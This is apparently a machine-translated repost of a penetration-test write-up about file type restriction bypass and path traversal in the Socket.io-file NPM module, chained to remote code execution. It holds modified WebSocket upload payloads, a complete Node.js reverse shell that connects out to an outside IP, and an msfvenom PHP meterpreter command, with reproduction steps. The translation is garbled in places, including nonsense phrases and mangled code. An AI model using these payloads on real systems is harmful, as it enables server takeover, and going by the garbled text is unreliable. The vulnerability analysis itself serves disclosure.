Shulou(Shulou.com)05/31 Report--

How to implement the file type restriction in the Socket.io-file NPM module to bypass vulnerability analysis, in view of this problem, this article introduces the corresponding analysis and solution in detail, hoping to help more partners who want to solve this problem to find a more simple and feasible method.

Words written in the front

In the process of a penetration test, the security factor of the application we are facing is relatively high, and there are not too many misconfigurations, so a simple analysis does not find security problems. But after in-depth analysis, we found a Web application running on an embedded device. This Web application uses WebSocket to communicate between the server and the client. In order to use WebSocket, there are many technologies that the back-end system can choose from, and here Socket.io is used.

One of the main functions of this application is file upload, which is why it chose to use the Socket.io-file NPM module. All in all, there is a path traversal vulnerability that will allow us to upload a file to any system path and have the Web server run the file.

If we can modify the ssh_config, / etc/passwd, or / etc/shadow files, then this vulnerability is equivalent to a remote code execution vulnerability, but this can only be achieved through root permissions, so we need to find a way to use low-privilege users to achieve remote code execution.

After research, we found a file type restriction bypass vulnerability in the Socket.io-file module. With the help of this vulnerability, we can bypass the file type restrictions in the module configuration file. In this way, we can upload any file type, and then upload the appropriate Shell by modifying the underlying configuration file for remote code execution of the underlying system.

In addition, the upload function of Socket.io-file also has the problem of incorrect processing of input data and verification logic, which are distributed all over the code. Attackers will be able to take advantage of this problem to bypass the restrictions on uploading file types and upload selected file types to the underlying system.

Vulnerability description

The default configuration of Socket.io-file provides an upload function handled by WebSocket. When a user attempts to upload a file through the Web application, the following client request is created to create the file:

42 ["socket.io-file::createFile", {"id": "Upright 0", "name": "testfile.mp3", "size": 1, "chunkSize": 10240, "sent": 0, "data": {}}]

To create the file on the underlying system, the index.js code for Socket.io-file will be executed, and the following code will detect the type of the file and perform subsequent actions:

Let err = new Error ('Not Acceptable file type' + mimeType +'of'+ filename +'. Type must be one of these:'+ this.accepts.join (','); return sendError (err);} else {self.socket.emit (socket.io-file::complete::$ {id}, emitObj); self.emit ('complete', emitObj);}} else {self.socket.emit (socket.io-file::complete::$ {id}, emitObj); self.emit (' complete', emitObj)

For example, if the user uploads a file called "testfile.mp3", the application will create a new .mp3 file, and since the money buys your code will only be detected on the client side (before the WebSocket request is created), we can intercept the upload request and change the file type of the file creation by changing the file name of the application. The following is a sample exploit:

42 ["socket.io-file::createFile", {"id": "Upright 0", "name": "testfile.php", "size": 1, "chunkSize": 10240, "sent": 0, "data": {}}]

In order to bypass the client restriction, we also need to change the file type of the original file to ask the file type allowed by the Web application. After intercepting the request, we need to change the file type to the original type (.php) so that the server side will not detect it. Next, we can create a .php file on the underlying system, which implements file type detection bypass.

In addition, we can also combine path traversal vulnerabilities to perform attacks, and let's move on.

Implement RCE by combining multiple vulnerabilities

Since we can upload arbitrary files to any server directory, we can implement remote code execution on the underlying system under a specific configuration.

Scenario 1: modify the configuration file

First, we can modify the configuration file to add a malicious JavaScript code base to the Web server, and then modify the index.html to load the malicious js script, that is, add a tag to introduce the js file, or copy the js code directly into it.

Next, we can upload a js file (the server will load the script in the index.html file), which contains the following code:

(function () {var net = require ("net"), cp = require ("child_process"), sh = cp.spawn ("/ bin/sh", []); var client = new net.Socket (); client.connect (8080, "10.17.26.64", function () {client.pipe (sh.stdin); sh.stdout.pipe (client); sh.stderr.pipe (client);}); return / aplink; / / Prevents the Node.js application from crashing}) ()

It is important to note that this reverse Shell can only be executed in a Node.js environment that contains misconfigurations. By changing the IP address and port number of the listener, we can get the reverse Shell and implement the command execution in the underlying system.

Scenario 2: exploit specific vulnerabilities, that is, misconfiguration

Our vulnerable module contains a number of different configuration items, one of which is to allow the node.js server to run PHP. Of course, there are many multi-purpose servers that support this feature, and this vulnerability is relatively easy to exploit.

We can use msfvenom to create a PHP reverse Shell and execute the following command:

Msfvenom-p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443-f raw > shell.mp3

This command will create a php file that can provide us with a reverse Shell when the server executes the file. At this point, we need to modify the upload WebSocket request according to the previous loophole:

42 ["socket.io-file::createFile", {"id": "upright 0", "name": ".. / public/shell.php", "size": 1, "chunkSize": 10240, "sent": 0, "data": {}]

This command will upload our files to the public folder on the server side, enter that directory using a browser, and we can execute PHP Shell and get the reverse Shell on our attack device:

Loophole recurrence

To replicate the vulnerability, we need to do the following:

Set up a proxy to intercept HTTP and WebSocket requests

Create a file type allowed by a Web application

Use io-file to upload a file and intercept WebSocket requests

Modify the "name" parameter value in the request based on the file type:

42 ["socket.io-file::createFile", {"id": "Upright 0", "name": "testfile.php", "size": 1, "chunkSize": 10240, "sent": 0, "data": {}}]

The above command will create a testfile.php file in the current user's date directory, and our test server stores the file path as / home/ubuntutest/Documents/socket-app/data.

This is the answer to the question about how to achieve the file type restriction in the Socket.io-file NPM module to bypass the vulnerability analysis. I hope the above content can be of some help to you. If you still have a lot of doubts to be solved, you can follow the industry information channel for more related knowledge.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.